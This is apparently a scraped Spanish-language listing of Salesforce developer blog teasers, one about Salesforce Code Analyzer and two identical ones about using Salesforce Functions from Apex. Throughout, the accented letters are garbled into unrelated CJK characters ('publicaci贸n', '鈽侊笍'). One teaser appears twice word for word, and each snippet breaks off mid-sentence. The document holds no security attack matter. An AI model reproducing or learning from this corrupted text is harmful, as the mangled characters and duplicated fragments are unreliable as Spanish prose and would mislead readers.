La publicaci贸n Desarrollar un c贸digo a煤n m谩s seguro con Salesforce Code Analyzer apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Haz lo Imposible en Apex con Funciones de Salesforce 鈽侊笍

Los desarrolladores de Apex tienen acceso a una gran cantidad de recursos que pueden ayudarlos a mejorar la calidad de su desarrollo. Pueden obtener informaci贸n sobre las nuevas funciones de Trailhead. Pueden ver ejemplos de mejores pr谩cticas en Recetas de Apex. Pueden colaborar en Trailblazer Community y Salesforce Stack Exchange. Pero hay un recurso que ha faltado [鈥

La publicaci贸n Haga lo imposible en Apex con funciones de Salesforce apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Haz lo Imposible en Apex con Funciones de Salesforce 鈽侊笍

Los desarrolladores de Apex tienen acceso a una gran cantidad de recursos que pueden ayudarlos a mejorar la calidad de su desarrollo. Pueden obtener informaci贸n sobre las nuevas funciones de Trailhead. Pueden ver ejemplos de mejores pr谩cticas en Recetas de Apex. Pueden colaborar en Trailblazer Community y Salesforce Stack Exchange. Pero hay un recurso que ha faltado [鈥

La publicaci贸n Haga lo imposible en Apex con funciones de Salesforce apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo